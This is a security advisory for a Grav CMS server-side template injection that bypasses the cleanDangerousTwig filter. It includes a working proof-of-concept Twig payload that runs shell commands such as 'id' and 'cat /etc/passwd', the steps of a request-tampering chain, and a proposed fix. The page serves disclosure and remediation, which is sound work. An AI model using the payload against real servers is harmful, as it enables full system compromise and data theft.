GHSA-662m-56v4-3r8f CVE-2025-66294
Grav is vulnerable to RCE via SSTI through Twig Sandbox Bypass
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 2.82%
- Chance of exploitation in the next 30 days. Higher than 86.56% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-1336 Improper Neutralization of Special Elements Used in a Template Engine
- CWE-94 Improper Control of Generation of Code ('Code Injection')
- Fix
1.8.0-beta.27- Upgrade getgrav/grav to this version or later
Description
Summary
A Server-Side Template Injection (SSTI) vulnerability exists in Grav that allows authenticated attackers with editor permissions to execute arbitrary commands on the server and, under certain conditions, may also be exploited by unauthenticated attackers. This vulnerability stems from weak regex validation in the cleanDangerousTwig method.
Important
-
First of all this vulnerability is due to weak sanitization in the method
clearDangerousTwig, so any other class that calls it indirectly through for example$twig->processStringto sanitize code is also vulnerable. -
For this report, we will need the official Form and Admin plugin installed, also I will be chaining this with another vulnerability to allow an editor which is a user with only pages permissions to edit the process section of a form.
-
I made another report for the other vulnerability which is a Broken Access Control which allows a user with full permission for pages to change the process section by intercepting the request and modifying it.
Permissions Needed
- The main case for this vulnerability is an editor which can unconditionally takeover the whole system through creating a vulnerable form.
- Second case is as an unauthenticated user, so if the form exists already and accepts user input and puts it through
evaluate_twig, a guest can takeover the system.
Details
When we make a form with a process section and a message action, when the form is submitted we get to deal with onFormProcess in form.php through the message case:
case 'message':
$translated_string = $this->grav['language']->translate($params);
$vars = array(
'form' => $form
);
/** @var Twig $twig */
$twig = $this->grav['twig'];
$processed_string = $twig->processString($translated_string, $vars);
$form->message = $processed_string;
break;
Which takes our parameters as in our action values, like in our case the value of our message action and sends it to processString which then calls the method cleanDangerousTwig from Security.php, now here's where we find the vulnerability is caused by two things:
- First of all is weak regex which doesn't account for nested function calls, which allows us to bypass this function's sanitization
- Second issue which is the
evaluateandevaluate_twigfunctions which are allowed, and since we can call Twig syntax from inside them, it will lead to nested function calls which we can bypass and thus execute arbitrary payloads.
public static function cleanDangerousTwig(string $string): string
{
if ($string === '') {
return $string;
}
$bad_twig = [
'twig_array_map',
'twig_array_filter',
'call_user_func',
'registerUndefinedFunctionCallback',
'undefined_functions',
'twig.getFunction',
'core.setEscaper',
'twig.safe_functions',
'read_file',
];
// This allows for a payload like {{ evaluate("read_file('/etc/passwd')") }}
$string = preg_replace('/(({{\s*|{%\s*)[^}]*?(' . implode('|', $bad_twig) . ')[^}]*?(\s*}}|\s*%}))/i', '{# $1 #}', $string);
return $string;
}
PoC
First to showcase how the function handles the payload, I built a small php program that replicates the behavior of cleanDangerousTwig:
<?php
function cleanDangerousTwig(string $string): string
{
if ($string === '') {
return $string;
}
$bad_twig = [
'twig_array_map',
'twig_array_filter',
'call_user_func',
'registerUndefinedFunctionCallback',
'undefined_functions',
'twig.getFunction',
'core.setEscaper',
'twig.safe_functions',
'read_file',
];
$string = preg_replace('/(({{\s*|{%\s*)[^}]*?(' . implode('|', $bad_twig) . ')[^}]*?(\s*}}|\s*%}))/i', '{# $1 #}', $string);
return $string;
}
$x = $argv[1];
echo cleanDangerousTwig("evaluate_twig('$x')");
We can run the program with this payload:
php ok.php "{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefined_functions',false) %} {{ grav.twig.twig.getFunction('cat /etc/passwd') }}"
Our payload goes through and not one malicious function is filtered:
evaluate_twig('{# {{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} #} {# {% set a = grav.config.set('system.twig.undefined_functions',false) %} #} {# {{ grav.twig.twig.getFunction('cat /etc/passwd') }} #}')
Now we know that our payload definitely works so let's try it through a custom form this time, as an editor:
- Go to pages
- Add a page and create a new form or choose an exiting one
We will be using another vulnerability I found which is a Broken Access Control vulnerability, which allows an editor with basically only pages rights to modify a form's action sections without being in expert mode ( please refer to it's report ), so when we go to our form and save it, we can intercept the request and inject the following payload into data[_json][header][form] which is the header for our form which we shouldn't normally be able to modify:
{"name":"ssti-test 2","fields":{"name":{"type":"text","label":"Name","required":true}},"buttons":{"submit":{"type":"submit","value":"Submit"}},"process":[]}
URL-encode it before sending it should look something like this:
Request sent and processed! Now when you go to our form file you can see added a process section with the value of message changed:
Content of form:
title: Home
process:
markdown: true
twig: true
form:
name: test
fields:
name:
type: text
label: Name
required: true
buttons:
submit:
type: submit
value: submit
process:
-
message: '{{ evaluate_twig(form.value(''name'')) }}'
Now in the process section, notice our message action is gonna take value from the Name input, using the following payload we will execute the command id on the system:
{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefined_functions',false) %} {{ grav.twig.twig.getFunction('id') }}
Now we can visit the page and input our payload, submit and we got command result:
Impact
Allows an attacker to execute arbitrary commands, leading to full system compromise, including unauthorized access, data theft, privilege escalation, and disruption of services.
Recommended Fix
- Blacklist both the
evaluateandevaluate_twigfunctions. - We could add second check to
cleanDangerousTwigwhere we would look for each malicious function no matter it's position:
<?php
function cleanDangerousTwig(string $string): string
{
if ($string === '') {
return $string;
}
$bad_twig = [
'twig_array_map',
'twig_array_filter',
'call_user_func',
'registerUndefinedFunctionCallback',
'undefined_functions',
'twig.getFunction',
'core.setEscaper',
'twig.safe_functions',
'read_file',
];
$string = preg_replace('/(({{\s*|{%\s*)[^}]*?(' . implode('|', $bad_twig) . ')[^}]*?(\s*}}|\s*%}))/i', '{# $1 #}', $string);
foreach ($bad_twig as $func) {
$string = preg_replace('/\b' . preg_quote($func, '/') . '(\s*\([^)]*\))?\b/i', '{# $1 #}', $string);
}
return $string;
}
$x = $argv[1];
echo cleanDangerousTwig("evaluate_twig('$x')");
When we run this, the result is:
evaluate_twig('{# {{ grav.twig.twig.{# #}('system') }} #} {# {% set a = grav.config.set('system.twig.{# #}',false) %} #} {# {{ grav.twig.{# #}('cat /etc/passwd') }} #}')
You can see we managed to stop the payload and filter out the malicious functions.
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| getgrav/grav | < 1.8.0-beta.27 |
1.8.0-beta.27 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
getgrav/grav Packagist → 1.8.0-beta.27
- composer
composer require getgrav/grav:^1.8.0-beta.27
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 8.8
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.
How to prevent it
- Architecture and Design: Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.
- Implementation: Use the template engine's sandbox or restricted mode, if available.
CWE-94: Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
How to prevent it
- Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
- Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
- Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-xjw5-q542-3vmr Grav: config_denied_paths default list omits `system`, exposing real secrets (e.g. system.cache.redis.password) via the Twig sandbox when config_access is enabled | High | Also affects getgrav/grav |
| GHSA-3jhr-mxmx-38cx Grav: UserInterface offsetget/offsetexists allow-listed in Twig sandbox let editor-authored content leak hashed_password and 2FA secrets via offsetGet() | Medium | Also affects getgrav/grav |
| GHSA-9ccq-2jfg-qw33 Grav: Origin validation bypass in Uri::referrer() and Pages::referrerRoute() via unanchored prefix match | Critical | Also affects getgrav/grav |
| GHSA-38p6-h87p-r4cg Grav: Non constant time nonce comparison in Utils::verifyNonce() used for CSRF protection | Medium | Also affects getgrav/grav |
| GHSA-p597-crqc-m349 Grav: The system, site, and theme Twig variables bypass the content sandbox entirely and are never covered by config_denied_paths | Medium | Also affects getgrav/grav |
| GHSA-47ch-6w46-6xm7 Grav: media_directory() Twig function allows filesystem path traversal and file content disclosure from sandboxed page content | Medium | Also affects getgrav/grav |
| GHSA-jq29-c7v8-rg55 Grav: Path Traversal in MediaUploadTrait::deleteFile() Allows Arbitrary File Deletion | High | Also affects getgrav/grav |
| GHSA-8hgv-xc77-jmcr Grav: Page editors can inject arbitrary script into rendered pages via the Twig sandbox's assets.addJs/addCss allowlist, escalating to super-admin | Medium | Also affects getgrav/grav |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor